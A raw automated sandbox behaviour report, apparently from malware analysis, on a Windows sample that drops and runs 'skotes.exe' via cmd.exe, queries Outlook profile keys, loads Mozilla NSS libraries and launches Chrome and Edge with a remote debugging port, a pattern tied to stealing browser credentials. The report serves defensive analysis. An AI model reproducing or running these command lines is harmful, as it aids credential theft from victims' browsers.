File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1607838864.000000001D159000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1742832864.000000001D14D000.00000004.00000020.00020000.00000000.sdmp, IIDAAFBGDBKJJJKFIIIJ.0.dr, EGIDBFBFHJDGCAKEGHJE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1996036540.000000001D259000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005279196.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1960,i,3989721194292092949,15909847573822481878,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2176,i,5053567703941882623,5826024289119121658,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2060,i,13102130141342141745,5107454723265991497,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JDGIECGIEB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JDGIECGIEB.exe "C:\Users\user\Documents\JDGIECGIEB.exe"
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JDGIECGIEB.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=1960,i,3989721194292092949,15909847573822481878,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2176,i,5053567703941882623,5826024289119121658,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2060,i,13102130141342141745,5107454723265991497,262144 /prefetch:3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\JDGIECGIEB.exe "C:\Users\user\Documents\JDGIECGIEB.exe"	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 5189120 > 1048576

Source: file.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x249000
Source: file.exe	Static PE information: Raw size of uftnznnm is bigger than: 0x100000 < 0x2a6400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2008434373.000000006FE3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2008434373.000000006FE3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.610000.0.unpack :EW;.rsrc:W;.idata :W;uftnznnm:EW;hqjjgthm:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;uftnznnm:EW;hqjjgthm:EW;.taggant:EW;
Source: C:\Users\user\Documents\JDGIECGIEB.exe	Unpacked PE file: 16.2.JDGIECGIEB.exe.150000.0.unpack :EW;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 17.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 18.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 20.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fkuoncfi:EW;cgsmbisr:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: JDGIECGIEB.exe.0.dr	Static PE information: real checksum: 0x312248 should be: 0x317f63
Source: 931e3b56d4.exe.20.dr	Static PE information: real checksum: 0x1c643d should be: 0xf557c
Source: skotes.exe.16.dr	Static PE information: real checksum: 0x312248 should be: 0x317f63
Source: file.exe	Static PE information: real checksum: 0x502c1d should be: 0x4f322f
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1c643d should be: 0xf557c

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: uftnznnm
Source: file.exe	Static PE information: section name: hqjjgthm
Source: file.exe	Static PE information: section name: .taggant
